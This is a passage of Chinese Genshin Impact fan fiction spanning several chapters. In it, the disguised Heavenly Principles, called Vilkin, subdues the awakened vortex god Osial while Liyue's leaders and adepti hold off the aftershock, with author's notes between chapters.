“小小的人类,居然也敢效仿降临之僭主,企图让盘旋在璃月头上的阴影再多一重吗?真是大胆妄为……歌尘浪市真君,你也来了。” 涤尘铃的声音依旧清脆,但早已物是人非,闲云看着一直以老妪姿态行走于人世间的好友,五味杂陈。 谁都没有想到时隔多年再度见面,居然是这等场面。好像每一次仙人们的重聚,一定是因为别离。 “大家久居绝云间,此次突闻噩耗,齐聚璃月港想要为帝君讨个公道,我自然也不该缺席……留云借风真君,我已传讯甘雨和烟绯,让她们速速通知璃月七星前来此地。” 萍姥姥,不,化作普通商贩老妪的歌尘浪市真君看向难得齐聚的绝云间众仙,缓缓开口: “我希望各位能够先冷静下来,事发突然,从璃月七星请仙典仪,再到突闻帝君陨落噩耗,距今不过半日,我们应当给璃月七星一些时间。” “真君也觉得,此中另有隐情吗?” 魈收起和璞鸢,他不会将枪尖对准璃月,但倘若帝君真是为璃月七星所害……护法夜叉不知道,他究竟是该遵循帝君一直以来的嘱咐继续守护璃月,还是将利刃对准杀害帝君的璃月。 魈发自内心地期待事实并非他们所想。 萍姥姥点头:“璃月七星没有谋害帝君的理由,我不知道,帝君才走,究竟是谁在损坏璃月人同仙人之间的联系,但此人必定另有图谋。所以歌尘浪市还请各位同袍,稍安勿躁。”. “看吧,事实证明,失去神明指引的商业之城就是如此脆弱。” 达达利亚两手一摊,状似无奈:“我只不过是让人去告诉隐居绝云间仙人们今天上午玉京台发生的大事,所有仙人就按捺不住冲动,一齐要来璃月港要向璃月七星讨个说法……真是不知道璃月的仙人们是太过信任璃月人,还是说太信任岩王帝君绝不会死去……只需稍稍煽动,就毫不犹豫地抛下一切赶过来了。” 其实事情本不至于发展到如此地步。 或许就连命运也不忍达达利亚今日颗粒无收,在让他吃了一晚上的瘪之后,终于愿意给他来一场否极泰来、一锤定音的形势逆转——那颗陨石,成为了让绝云间众仙相信至冬人虚假谎言的最有利证词。 若是达达利亚知道维尔金身份、钟离也不至于在明面上自己已死的情况下,因为顾忌达达利亚说出至冬女皇真实的目的而动用神力,误打误撞帮了达达利亚完善这个本应漏洞百出的计划。 维尔金皱眉:“至冬是想要侵略璃月么?” “侵略?哈哈哈哈哈哈——果然,哪怕是你这样的强者,终究也无法同我们女皇伟大的愿景相比拟——” 达达利亚后跃拉开距离,直接启动魔王武装。 紫色的雷电覆盖全身,坚硬的盔甲附着在身,整个人浑身气息发生巨大变化。 空戒备地举起单手剑护在身前,却发现一道坚实的金色护盾保护了所有人。 他回过头,双手环胸、宛若闲庭信步的钟离先生点了点头,示意他不必再举剑防御。 再看维尔金,他站在前方,对愚人众第十一席执行官的变身无动于衷。 “钟离先生,我们就这么看着吗?” 钟离点头。 如果达达利亚一开始不用魔王武装直接用水元素攻击,维尔金下手或许会轻点,但既然他使用了属于深渊力量一部分的邪眼…… “不过也不必担心,既然祂接受了公子的供奉,那按理说,祂应当会留他一命。” “供奉?” ……难道是指刚刚新月轩的那顿晚饭吗? 不过钟离先生为什么会觉得自己在担心达达利亚的安危? 明明……他们跟维尔金才是一伙的啊! 看着雷光四射、声势浩大的魔王武装,空心里更没有底。 钟离自然也看出这位天理好友似乎有些过于紧张。虽然他不太理解为什么有人会紧张天理的安危,但本着不妨碍天理办事的前提,好心提醒这位疑似太过积极的天理好友: “以理性分析,恐怕天理并不希望我们插手他教训滥用邪眼力量的人类。所以一般这种情况,我个人比较建议,等天理喊上我们再一起上。” “啪”一声,线索终于在此刻形成闭环。 为什么维尔金主动要帮自己一起找荧,为什么维尔金没有神像,又为什么七神对待他的态度明显是敬畏多于亲近。 谁能够领导七神?谁能够让深渊一直甘于蜗居地底,藏头露尾? 那当然是,维系者所供奉之神明,天空岛的主人,天理啊! 钟离看着露出不敢置信眼神的旅行者,终于发现事情好像不太对劲—— 巴巴托斯居然漏了这么重要的情报! 妹妹站边坎瑞亚的降临者,居然不知道自己身边的就是天理本尊。 “虽说我不知道你们是怎么认识的。”预设被全盘打乱,钟离紧急补救,并尽力挽回一下维尔金的形象,“但对于我们来说,他也是极为陌生的存在。除开应召前往坎瑞亚战争之外,我跟他真正相处过的时间恐怕还没有一个日夜。” 这个时间,比不上名为维尔金的长生种同名为空的降临者相处旅行的百分之一。 钟离难得为天理说了一句好话:“他是什么样的人,魔神分不清楚,深渊分不清楚,甚至我都不敢担保他麾下直系亲信的维系者是否分得清楚——” “不过我想,你应该已经有了自己的想法了吧?” 空默默点头。不管天理是一个什么样的神明,维尔金从来没有亏待过空这个朋友……他现在只希望,自己和妹妹惨遭分离,维尔金真的如他自己所说那样毫不知情。不过…… 正当钟离以为事情已经完美解决时,他听见空悄悄问—— “天理的维系者是天理的直系亲信?” 钟离:…… 多说多错,钟离决定先走一步:“维尔金先生,公子这边就交给您了。璃月七星和绝云间众仙恐有误会,我要先走一趟。” 维尔金点点头。 他刚刚没注意到摩拉克斯和好朋友空那边发生了什么,雷元素的瞬移特点让达达利亚不至于在眨眼间落败,但已经确定了魔王武装力量来源的维尔金失了探究的心思,不打算继续下去这场无谓的斗争。 维尔金挥了挥手,达达利亚的身体直接短暂滞空了一瞬,但就是这致命的停滞,一击冰锥闪避不及,直接让魔王武装当场解体。 “没想到……维尔金先生的实力竟然如此强劲,哪怕是魔王武装都不能让你动真格……怪不得斯卡拉姆齐不敢招惹你,是我输了。” 魔王武装被迫解体的滋味并不好受,而达达利亚看得出来这一击,维尔金甚至没有使全力。 “达达利亚,到此为止了。” 维尔金叹了口气,向事到如今还不愿束手就擒的达达利亚下达最后通牒:“虽然你脾气对我胃口,对待朋友也大方,但你最错误的一件事……就是当着我的面,动一些不该有的心思。现在收手低头认罪,我可以允诺你平安回到至冬。” “……女士对上你之后被杀,我一点也不意外。不过您也别小瞧我了,虽然本来也不打算启用这个备用方案……毕竟我对会波及弱者的计划没什么兴趣——” 随即,似乎是彻底下定决心,达达利亚反手用重新凝成的水刃给自己来了一刀。 鲜血顺着水流之刃流到达达利亚的手掌,染红了剩余的百无禁忌箓。 蕴藏有深渊力量的鲜血能够刺激魔神,是达达利亚所知的、让魔神迅速醒来的最快办法。 “维尔金先生,您的确很强——” 风云突变,天空瞬间阴沉,持有水元素力量的魔神解封使得空气粘稠得几乎能滴水。 黑云压低,连璃月的近海也忍不住为漩涡的回归而欢欣鼓舞,在海岸处掀起阵阵波涛。 “但以凡人之躯,您能胜过这被岩神摩拉克斯亲自镇压在孤云阁、饱受千年封印之苦,两千年前也曾是尘世七执政有力竞争之神的,漩涡之神奥赛尔,及其最后也是最强的眷属,漩涡之余威跋掣吗?” 维尔金忍不住皱了皱眉头。 甚至不是觉得麻烦。 他只是困惑。 为什么年轻的人类会期待一个在魔神战争中输掉一切的战败者,能够力挽狂澜呢?—— 作者有话说:奥赛尔+跋掣+达达利亚 VS 摩拉克斯+天理+空 胜利花落谁家~买定离手,欲购从速! 奥赛尔:谢邀。人在孤云阁,和老婆睡一起。刚醒,发生了什么? 周四上夹子所以晚11点后更新,大家不见不散啦~ 第25章 第 25 章 维尔金,你去干掉奥赛尔…… 孤云阁附近, 沉静在睡梦之中的奥赛尔闻到了久违又熟悉的恶心味道。被困两千年的漩涡之魔神艰难地翻了个身,随着他的动作,海面惊起一阵波涛汹涌。 烦死了, 摩拉克斯都不知道处理一下深渊的味道吗? 迷迷糊糊的漩涡之魔神将五个头都埋入妻子的长颈下,不忘在心底暗暗损一把这个把自己封印起来的家伙。 又不是才当上尘世七执政的新魔神,两千年的时间居然还没让这个不讲道理的霸道魔神学会勤快干活。这股像是深渊在大地上发酵的味道都已经传到孤云阁这边了,等天理发现他玩忽职守, 就等着用脸去接寒天之钉吧! 重新分配好五个头睡眠位置的奥赛尔环住亲爱的妻子, 正欲继续甜甜步入梦乡时,猛然意识到奥赛尔已经能够自由活动的跋掣, 发出了极其刺耳的尖啸—— 奥赛尔这才发觉,镇压漩涡之魔神千年已久的岩枪已经消失不见。 怪不得刚刚翻身翻得这么流畅。 摩拉克斯会有这么好心地让他出去?奥赛尔又兴奋又纠结,于是它小心翼翼探出一根触须,然后将其切断,放任储蓄漂流在海里。凝聚浓厚水元素力量的触须失去了本体的牵引力,随着洋流与海浪上浮到海面后, 又静静地融入海水表层。 ……摩拉克斯……已经死了? 感知到水中传来的不靠谱信息,奥赛尔将信将疑。 他先是一根触角冒出尖尖,接着是一个脑袋浮出水面, 最后奥赛尔鼓足勇气, 伸长脖子准备接一把岩枪, 挺着脖子试探老半天后,属于摩拉克斯的岩枪依旧没有扎下来—— 如此美妙的消息居然是真的!! 短暂的喜悦过后, 时隔千年终于得以解放的魔神,将视线投向被深渊的瘴气笼罩得严严实实的璃月港,认真思考接下来的计划。 作为魔神,奥赛尔也有抵抗深渊、祛除蕴藏一切深渊力量的物品或宿主的责任。 看这个样子, 璃月港已经被深渊的污物占据。 既然摩拉克斯已死,唯有他奥赛尔拥有将深渊魔物们猎杀殆尽的能力。不过很可惜,因为他被摩拉克斯这个坏东西封印太久,一不小心没收住力道,不小心把璃月港给淹了个一干二净……也是没有办法的事情吧? 看来只能辛苦辛苦他们夫妻,重新建立一个只属于水族的国度了。 水龙卷被召唤而出,跋掣从海面钻出,跟随着她的丈夫兼魔神,向已被乌云笼罩的璃月进发—— 一想到属于他们夫妻二人的美好未来,奥赛尔就忍不住发出尖锐的长啸,水元素感受到魔神的兴奋,也跟着愈发躁动。 摩拉克斯已死,那他们就没什么好怕的了。 群玉阁上,璃月七星和众仙虽然至今都没能达成一致,但面对共同的敌人,也算是勉强先握手言和,解决了眼前的奥赛尔再说。 “至冬人果然心思不纯。” 削月驻阳真君看着在海面上肆虐的奥赛尔夫妇,声音低沉得几乎能够滴出水来。 “倒是多亏天权星的群玉阁,这才让我们有了能够中途阻截奥赛尔的机会。”萍姥姥回过身,看向一旁从刚才起一直默不作声的闲云,“留云借风真君,事已至此,七星和仙人也该摒弃先前的争执,率先解决眼前的祸事才对。” “众位仙家说得都对——” 钟离也点头赞同,正色道,“漩涡之魔神奥赛尔实力强劲,非凡人所能匹敌,眼下,正是需要大家一起团结力量、共同抗击奥赛尔的关键时刻。” 一向沉默寡言的魈似乎从钟离出现的那一刻起就看上去有点不太对劲,他深吸口气,像是鼓足勇气一般问道:“帝……钟离先生,您难道也觉得七星值得信任吗?” 钟离正欲张口,拖友带敌的上司就传来声音—— “抱歉,我们来晚了。” 空率先平稳落地,维尔金甩下肩上扛着的冰冻版达达利亚,对着七星,准确来说是站在七星边上的钟离说道,“以后做事前别忘了跟大家通个气,别一天到晚就想着偷偷摸摸地干大事。” 刻晴不悦:“你又是什么人?胆敢对七星如此大放厥词?!” 钟离轻轻咳了两声,将众人的注意力拉回自己身上,开口解释道:“大家有所不知,维尔金先生是帝君的故交,此番原是为故人而来,没想到帝君不幸……” 绝云间众仙都是一路从魔神战争期间跟随帝君的老人,自然清楚维尔金的真实身份,钟离的这番话,只是为了向让七星不至于又跟维尔金和空的身份来历较劲。 维尔金不耐地摆了摆手,这番话他就听出了一个意思:摩拉克斯不打算出手保护璃月。 “别说那些废话,千岩军中有些人已经站都站不稳了——你就这么看着吗?” 维尔金看了眼后方,不曾经历过古早时代残酷战争的新生人类根本承受不住魔神的威压。哪怕漩涡之魔神是摩拉克斯的手下败将,可单单靠这些孱弱的人类,也不足以应付一位魔神。 再不出手,人类们会失去生命,璃月会被漩涡吞噬…… 维尔金看向远方的奥赛尔,寒气顺着水元素最浓的方向蔓延,顷刻之间,在钟离眼里,偌大的海面已经遍布独特的冰元素微粒,而身处其中的奥赛尔只会感觉,海水的温度略有降低。 钟离相信,只要奥赛尔胆敢靠近璃月港的人类一步,立刻就会被身边这位溺爱人类的天理大人冻成冰雕。 这不是钟离希望看到的结果。璃月不能在失去一个神明之后,又迎来一个溺爱人类的天理。 钟离看向这位久居天空岛、却不知为何格外溺爱人类的天理,认真的说道:“面对灾难和危险时,人类会团结协作,一起解决遇到的问题。” 他希望,维尔金能先不要动手。 至少在奥赛尔对璃月人造成实质伤害之前,给一直生活在岩神庇护下的人类一个真正成长的机会。 钟离继续说道:“……所以我想,我们应该尽快想出解决的办法,最好是赶在奥赛尔登陆璃月港之前就把他解决掉。” 维尔金眼神微变,摩拉克斯这话的意思…… 他真打算彻彻底底撂挑子不干、把解决魔神的工作甩给人类? 这怎么可以?! 他绝对不会允许尘世七执政擅离职守—— 意识到这边气氛不对的魈上前半步,却被钟离拦在身后。 “璃月会向您证明的——” 钟离看向已经逐渐变得和记忆中那个完全吻合的天理,更加坚持自己的想法: “璃月人能够用不属于摩拉克斯的力量,解决奥赛尔。” 气氛已经不再像之前饭桌上那样其乐融融,而是变成了类似于上司和下属之间的对峙。 空看看坚持让人类自己解决问题的钟离,又看看恨不得现在就让摩拉克斯去把奥赛尔剁了的维尔金,两种截然相反的观点让形势变得有些剑拔弩张起来。 而且一个天理,一个岩神,对他们而言,解决奥赛尔都不是问题,如何让双方满意才是问题。 “那不如折中一下——” 空叹了口气,现场分配起任务: “维尔金,你去干掉奥赛尔。” 维尔金一愣,终于意识到众目睽睽之下好像暴露身份的天理大人终于想起来装一下样子: “诶?真的可以吗?不用再问问他的意见?我是说,毕竟我一个人上是不是太……” 空没有搭理态度突然又缓和不少的神经质天理,转头对钟离说道: “钟离先生,我记得维尔金告诉过我,魔神死后根据他们生前的力量,会爆发出威力极大的元素力量冲击……所以我在想,如果璃月靠自己的力量能够抵挡住奥赛尔死后所产生的冲击——” 空顿了顿,接着道:“是否也能证明,失去摩拉克斯后,与神同行的国度,依然能够继续独立前行呢?” 钟离看向维尔金,坚定地点了点头,又继续在担忧过度的天理心中增添砝码: “岩王帝君曾为璃月港留下了最后一道防护,一旦遭受魔神级别的冲击,璃月港便会自动生出岩墙,护住所有的子民不受伤害,所以我认为,可以一试。” 闲云和萍姥姥面面相觑,众仙也都一言不发。 空看向维尔金,晓之以情动之以理。 “维尔金,相信一下人类吧……就像我始终相信你一样。” 维尔金浑身上下顿时僵硬住。 他终于意识到,在他不知道的情况下,空已经看破了他的真实身份。 半晌,维尔金闭上眼,缓缓开口: “现场想办法解决奥赛尔的计划,我不接受。” “不过我想,人类如果能有处理魔神死后余波的能力……其实也跟拥有杀死魔神差不多的力量吧。” 留下这句话之后,维尔金消失在了群玉阁上。 “钟离大人,他这是——” 钟离脸色凝重:“凝光大人,还请吩咐众仙及七星,群玉阁即将迎来漩涡之魔神奥赛尔死后余波的冲击——” “那您……” 钟离看向眼中满溢着复杂情绪的凝光,看向不远处的奥赛尔。 “……抱歉,只有我才知道启动岩王帝君留下来的最后一道防御的所在地,必须由我去启动帝君留下来的防御手段才行。所以诸位——” “拜托了。” 还在近海呼风唤雨的奥赛尔并不知道,他已经撞到了枪口上。 金色的双眼死死盯住在海面上兴风作浪的漩涡之魔神,轻声道—— “奥赛尔,你既已战败,便不该回来。” 意识到面前说话人身份的奥赛尔五个脑袋瞬间呆滞住,圆圆的小眼睛也看到了站在一群人类和仙人中间的摩拉克斯—— 恐惧瞬间顺着心脏蔓延到奥赛尔大脑,他甚至感觉连海水的温度都无端低了许多。 为什么摩拉克斯没死,而且连天理也下界了?!—— 作者有话说:久等了各位,新鲜的更新! 明天晚上9点更新,家人们今天早点睡,我继续先去捉虫了! 感谢大家的支持!今天一下子多了好多加更债务(X)我会继续加油的!递花花~ 第26章 第 26 章 维系者:任何想要退休的…… 人生总是起起又落落。 其实奥赛尔也想过, 摩拉克斯这个半天蹦不出一句正常话的石头突发奇想、闲着没事干突然来个钓鱼执法的可能。 但思来想去,奥赛尔所能想到的最坏的结局,也只不过是和两千年前一样, 被摩拉克斯用岩枪重新封印在海底而已。 和已经几乎是触手可及的尘世七执政职位比起来,这点风险甚至可以忽略不计。 对他们夫妻而言,输了也就是继续过上在海底沉眠、翻身都翻不过来的生活而已,但是万一赌对了—— 那尘世七执政的殊荣, 将加诸于他奥赛尔之身。 这个诱惑太大了, 哪怕只有那么一丁点可能,漩涡之魔神也愿意搏一搏。 但这一切的前提是, 他所要面对的最大敌人是装死的摩拉克斯,而不是理应在沉睡之中的天空岛之主。 现在裁判亲自下场拦截他奥赛尔,可怜的漩涡之魔神只觉得遍体生寒,一时间甚至连五个脑袋都开始相互打结。 维尔金定定看着慌乱的奥赛尔,刚刚跟摩拉克斯争执产生的火气也消了下去。他静静伫立于半空之中,等到奥赛尔解开自己纠缠的五个脑袋, 才缓缓开口: “奥赛尔,你不该回来,暗之外海才是战败者的归宿。” 带着不容置噱的残酷, 僭主的声音彻底冻住了奥赛尔那颗尚存侥幸心理的心脏。 钴蓝的眼睛死死盯着近在咫尺, 但已经无法再往前一步的, 属于摩拉克斯的璃月港。若是天理不亲自下界,他怎么也有搏一搏的机会…… 跋掣发出喑哑的低吼, 和她丈夫漩涡之魔神奥赛尔不同,天理产生的威压让她几乎支撑不住庞大的身躯,若不是她亲爱的丈夫就在身边,她甚至克制不住自己逃跑的本能。 奥赛尔垂下长长的脖颈, 拦在妻子瑟瑟发抖的渺小身躯之前。高傲的魔神卑微地向维尔金拜服,希望这位唯一能够制定魔神战争的裁判,能够看在这次完全就是摩拉克斯擅离职守在先的情况下,网开一面,再给他们这些战败者们一个机会。 【崇高的天,我祈求您再给予我一次机会——奥赛尔和跋掣会向您证明,水中的生灵比一颗石头更会统帅璃月。我们一定会建立一个属于水族的,比璃月更大、更强、更好的国度】 奥赛尔试探着,继续恳求: 【我们只求,您能给我们一个小小的机会……】 “不要肖想不属于你的东西,战争早在两千年前已经分出结果,奥赛尔,是你输了。” 随着维尔金话音落下,躁动不安的海面像是被抽离了动力,陷入了诡异的死寂。 不对—— 被强制夺过海域管理权的奥赛尔率先反应过来。他这时才恍然大悟,刚刚感觉到的冰冷并非是自己的心理作用,而是天理,早已在他出现的时候便将海域的控制权牢牢把握在自己手里。 才刚开始……就要结束了吗? 奥赛尔感受到,温暖的海水乍然变成极冻的冰棘,强悍的枝条死死捆住他们俩。海面也开始发生巨变,温度瞬间降低,感知到危险的鱼群火速下沉至海底,动作慢些的,只能被低温活活冻死。 完全不可能有胜算。 哪怕是被摩拉克斯正面击溃、又被岩枪钉入海底,他也从未产生过如此无力的感觉。 那个人只是站在那里,什么都没有做,就让执着于魔神战争胜负的奥赛尔彻底熄灭了重燃魔神战争之战火的想法。 “现在感受如何,奥赛尔?”余光瞥向眸子里的蓝色都变得暗淡的奥赛尔,维尔金忍不住叹了口气。 他不想让奥赛尔重燃魔神战争的硝烟……除开不能让战败魔神开启能够无限制重复挑战七执政这个坏头之外,维尔金的确是另有私心。 毕竟,如今的提瓦特已经不再是那个魔神级别遍地走,非人类长生种不如甜甜花的时代了。 人类脆弱无比,新生的长生种武力值也不如从前,但深渊的力量却在一日一日积攒壮大。 维尔金想过很多办法,但这些自世界诞生伊始便存在的污秽,不是他一个人能够清理干净的。而随着时间流逝,以及挨打次数越来越多,深渊中也出现了更多拥有灵智的存在,粗暴的铲除无法将深渊的力量连根拔起,他们甚至能够污染因磨损而失去知性、只剩余野性和本能的长生种。 “规则”,不容侵犯。尘世之中,唯有七执政能享受豁免,然而一但失去了七执政的职位、不再作为七国神明而行走在提瓦特大陆之上,名为“磨损”的诅咒就会如跗骨之蛆,直到长生种全然失去知性,沦为依照本能行事的野兽。 如无封印,奥赛尔应该早就疯了。 奥赛尔蓝色的圆眼睛眨了眨,领会到天空岛之主似乎有放自己一马的迹象后,相当会审时度势的漩涡之魔神乖巧得像是被捏住命运后脖颈的水形态大猫咪,一副维尔金说东绝不敢往西的谄媚样子。 “我刚刚,跟摩拉克斯打了个赌。”维尔金言简意赅,“他原本想用你来向我证明,璃月的人民已经可以脱离神明的庇护,独自前行。” 奥赛尔一听,瞬间支棱起来。 他就知道摩拉克斯这个老奸巨猾的混账石头不是一个好东西。 【不愧是您,一眼看穿了摩拉克斯那个不识好歹家伙的险恶用心】 维尔金话锋一转:“但是,我不希望会有人类因为摩拉克斯想要从尘世七执政这个位置离开而受到伤害……有人替我同他约定,只要璃月人能够挡住魔神死去之后的余威,我便要认同璃月人已经拥有了脱离神明、独自前行的能力。” 【不愧是您,想出来的解决办法就是要比摩拉克斯那家伙更加全面完善……但是……那个“魔神死去之后的余威”是指摩拉克斯死去之后的冲击吗?】 奥赛尔还有那么一点点零星的幻想。 “是你哦,奥赛尔。” 维尔金和善地替心存幻想的漩涡之魔神判下最后的死刑,随后又给瞬间萎靡成鳗鱼的奥赛尔指明了一条生路: “但是,如果你自愿割舍五分之四的力量,用这部分力量来代替你漩涡之魔神死亡产生出来的余波……说不定我可以当作没看见你今天出现在人类王国的近海,留你和你的眷属一命——” “机会难得,决定好了吗?” 奥赛尔没有半点犹豫,一爪子对准自己藏在深海的核心就是一掏,圆溜溜的、散发着海蓝色光芒的魔神核心就被这么水灵灵地掏了出来。 奥赛尔现在甚至庆幸摩拉克斯把他封印在孤云阁,让他得以在千年的岁月中保留绝大部分的力量。 维尔金看了眼一爪子把整个核心掏出来的奥赛尔:“……有点小多,你再塞回去点。” 奥赛尔欢快地点点头,在将五分之四的力量交予天空岛的主人之后,在后者的默许下,冰棘松开了魔神滑溜溜的身躯,冰封的海面也开启了一道生路。 对于旧日魔神奥赛尔而言,全盛时期残余的五分之一的力量也足够他前往暗之外海后也能有一席之地。 对于维尔金而言,哪怕这五分之四的力量较之于奥赛尔死去的威力依旧略有差距,但这也足够用了。 …… 天空岛之上,奥赛尔闹出来的动静久违地吸引了天理的维系者短暂的目光。 小事,残余在大陆上的旧日魔神复苏而已,而且马上又要死了…… 不对!目光锐利的维系者发现了端倪—— 谁家奥赛尔是冰系啊! “维尔金!” 维系者一拳轰开了位于天空岛正中心的天理居所,“睡醒了就给我出来干活,提瓦特又乱成什么样子看不见吗!” 坐在御座之上白色魔神连发尾的卷毛吓得抖了抖,头上悬浮的金属王冠都险些掉下来。 维系者眼神微眯,语气不善:“派蒙?” 时间之魔神无辜地眨了眨投射着深蓝色星空的眼睛—— “那个,我要是说我不小心在这里睡着了一会时间,醒来发现维尔金就不见了,什么也不知道……你会信吗?” 维系者冷冷道:“继续编,我在听。” 派蒙对对手指,眼神也胡乱飘:“欸嘿嘿……反正他偷溜下去本质跟睡着了是一样嘛,你就当作维尔金一直要睡到预言中的时间才醒来就好啦~” “他睡懵了没脑子,你眼里没一点活就算了,还敢给他打掩护?” 天理的维系者径直走向堆在台面上的文书文件三下五除二打包完毕。 她把打包好的、比派蒙本人还高的文件包裹丢到漂浮着的时间魔神手上,语气依旧是那副冷冰冰的样子,火速给替罪魁祸首打掩护的时间之魔神下达指令: “派蒙,你把这一批公文带下去。从现在起,一周之内,我要看见那个懒鬼把这些公文给我全部审批完。” 说罢不等派蒙回应,维系者估摸了一下璃月的坐标,瞅准地上那蓝花花的一大片,把还没反应过来、本能地紧紧抱住巨大公文包的时间之魔神扔了出去—— 无视掉距离耳边越来越遥远的惨烈叫声,天理的维系者捡起遗漏在地上的一张薄薄的信纸,上面写着她那不靠谱上司的亲笔留言—— “亲爱的维系者,为了保证我跟下任天理的交接能够顺利进行,我下界去准备离职报告材料了,这段时间就靠你们了!——睡醒后就把积压了五百年的公文处理完毕的维尔金留。” 维系者面无表情地烧掉信纸。 深渊都没解决、公文还没改完、天空岛还没解体—— 他居然还敢想着要退休? 看给他惯的,一天天净会白日做梦—— 作者有话说:维系者:猎杀时刻(不是) 小捉一下虫,明天我那亲爱的的低配键盘就要回到我的手里啦嘶哈嘶哈 第27章 第 27 章 今天,战场不由魔神主宰…… 维尔金的心跳莫名漏了一拍, 他按下莫名不安的心神,并根据以往的经验,把症状归结于奥赛尔在心底偷偷蛐蛐他。 没想到奥赛尔这浓眉大眼老实巴交的魔神, 也跟那几个没正形的家伙一样。 亏得他刚刚还打算良心发现一回,看在奥赛尔是条老实鳗鱼的份上免费附赠一次暗之外海的快速通道。 维尔金面无表情地盯着触须扭来扭去的奥赛尔,现在看来……还是让他自己想办法游过去吧。 感受到天空岛之主目光突然变得不善,奥赛尔好不容易放下的心又重新悬起来。 天理怎么这么阴晴不定?不是说好给五分之四的力量就能走吗? 自认为很有眼力见的奥赛尔又掏出自己的心窝子, 委屈地把刚刚塞回去的剩余力量又放在触手的尖尖, 万般不舍地再度向维尔金奉上,一边在心底里默默吐槽: 真要是觉得五分之四的力量不够直接说不就行了, 整得这么吓人也没必要吧…… 维尔金嘴角抽搐,奥塞尔这是不是镇压两千年后脑子不太清楚,连话都听不懂了? 维尔金一脸“你是不是听不懂我说话”的模样,尴尬的奥赛尔得不到维尔金的回应,只能又默默把力量塞了回去,还不忘在心底里继续吐槽: 怪不得摩拉克斯着急下岗, 天理本人果然很难相处。 亲身体验一次和天理沟通是多么痛苦的一件事后,奥塞尔已经完全没了篡位的想法。 他现在只想带着自己亲爱的妻子,去暗之外海找一块温度适中的海域泡在里面……如果能够离天理远点就更好了。 现在想想, 其实孤云阁也挺宜居的……奥赛尔甚至觉得, 暗之外海的条件要是不行的话, 到时候看看能不能让摩拉克斯再把他们压回去……他们夫妇要求不高,只要给他和跋掣留个能翻身的空隙就行, 作为交换,他忍痛让璃月人多些鱼获也不是不可以…… 乐观的奥赛尔还在考虑留在孤云阁当一辈子旅游景点的可能性。完全没有注意到,维系者高空抛下来的时间之魔神,即将坠落—— 一团从天而降白色的不明物体, 一路火花带闪电,抓着比这个人还大一圈的包裹,直直冲着奥赛尔的五个脑袋而来。 派蒙紧紧抱着维系者要她守护好的文件包,大声喊道: “——维尔金、奥赛尔你们快接住我啊啊啊!!” 奥赛尔呆呆地抬头,迟钝的脑子甚至在听到派蒙的求救后,反射性要去用头来接人。 维尔金一巴掌拍开真的打算用头接时间之魔神本人和愤怒状态下维系者一击的漩涡之魔神—— “别光长着五个脑袋不想事啊,奥赛尔!你现在只有五分之一的力量!” 维尔金眼疾手快,巨大的冰盖顷刻间成型,稳稳接住了被愤怒的维系者丢下来的时间之魔神和文件包裹。 强大的冲击力几乎将海冰全部震碎,冰与火撞击的瞬间产生无数白烟,将战场包裹起来,隔绝了群玉阁上众人的视线。 好机会—— “奥赛尔,快沉底!”维尔金大喝,如梦初醒的奥赛尔当即用触手卷住已经彻底无法动弹的跋掣,顾不得海冰尚未完全解冻,五颗头鼓足力气,头也不回地卷着跋掣向孤云阁游过去。 维尔金:! 奥赛尔你这个方向感是怎么回事!那边是孤云阁,不是暗之外海! 与此同时,远在群玉阁上的魈清楚地看见,从天而降的白色光柱将浓厚的乌云击散。只是一击,不可一世的漩涡之魔神摇摇晃晃,携带这他最后的眷属,沉入冰封的海里。 奥赛尔就这么……死了? 下一秒,骤然扭曲的空间印证了魈的猜测。无形的力量扭曲了空气,嘎嘣声此起彼伏,不少士兵手上的长枪已然隐隐有断裂的迹象。而失去了主人的操控后,魔神的力量如出笼的野兽一般,毫无顾忌又无差别地横冲直撞,甚至冰封近海的坚冰撞得稀碎,直直超群玉阁冲去。!!! 在旧日魔神残余力量冲击之下,哪怕是强大仙人也不得不俯下身,避免被奥赛尔死去后乍然迸发出的最纯粹的冲力推下群玉阁。 璃月七星同绝云间众仙对视一眼,他们都知道,这才是开始。 “千岩军众将士听令,迎接漩涡之魔神奥赛尔死亡后的冲击——” 凝光双手张开,偌大的群玉阁瞬间超载运转起所有防御阵法。 金色的繁复阵法加上仙家倾囊相授的仙家符箓正面撞上了蕴藏着水元素古魔神的核心力量。 不同于远距离见到奥赛尔时候感受到的魔神威压,狂乱无章、任意肆虐的元素力量让所有人都真切的体会到,名为奥赛尔的漩涡之魔神,的的确确是和岩王帝君同一个时代的强大魔神!甚至,若不是尘世七执政只有七席,奥赛尔之威名也不至于被深埋与孤云阁的岩枪之下! 在阵法最暗淡的一处,隐隐有裂痕蔓延,发出不易察觉的细微清脆声。 刻晴后撤半步,将雷楔投掷到碎裂的边缘,一个闪身瞬移至半空,手起剑落,将从缝隙钻入群玉阁内的水元素幻灵直接斩杀。 更多的裂缝开始出现 ,甚至就连最高处 的穹顶,也出现了细小的缝隙。刻晴没有停下,云来剑法行云流水、出神入化,一招天街巡游将已经从半空中凝成形态的水形幻灵悉数击溃。 “刻晴大人,上面!” 玉衡星凌厉的眼神望向最高处的缝隙,正在此时,冰系箭矢破空而出,擦过玉衡星紫色的发丝,正中一个已经凝成实体的水形幻灵。 “风雪的缩影,如琉璃般飘落——” 甘雨收放下弓弦,生成一朵浑圆的冰灵珠,将之高高托举于头顶。 “为了岩王帝君,这项工作,该划掉了!” 冰灵珠缓缓升空,与此同时,尖锐的冰凌精准地将试图占据制高点的水形幻灵们统统冰封在原地,随之后到箭矢又将冰封着的水形幻灵冰雕一一击碎。 “诸位将士听令!”刻晴眼睛死死盯着源源不断涌入的水形幻灵,高声道: “全力以赴,不惜代价守住群玉阁,绝对不能让奥赛尔死后化作的残灵进入璃月港!” 凝光运用起岩元素之力,沉声道:“诸位仙家,还请助七星一臂之力!” “不用你说我们也知道。” 削月筑阳真君冷哼一声,岩元素力量从鹿形态的身体缓缓散出,灌入群玉阁的地基。理水叠山真君收起黑金相间的羽翼,周身也溢出浓烈金色岩元素力量,为群玉阁的阵法核心灌入力量。 闲云单手掐诀,青色的风元素力量同金色交错聚合,三位仙人的力量同时汇入群玉阁之中,略显暗淡的防御阵法瞬间变亮,竟然生生将漩涡之魔神奥赛尔死后的余威生生逼退了些。 萍姥姥用仙力为千岩军将士们的武器附加威力,护法夜叉大开大合,扎堆的水形幻灵顷刻间被杀得片甲不留,形势似乎已经发生逆转。 不行,还不够。 凝光眉头紧皱,脸上看不出半分逼退魔神之余威的庆幸,再这样僵持下去,她害怕浮空石会承受不住如此激烈的拼杀—— 果然,所有人都能明显感觉到,脚下的群玉阁格外明显地震动了一下。 可恶,闲云暗骂一声,一手掐诀,召唤出竹星,风元素力量分担了一部分浮空石所承载的巨大压力,但依旧是杯水车薪。 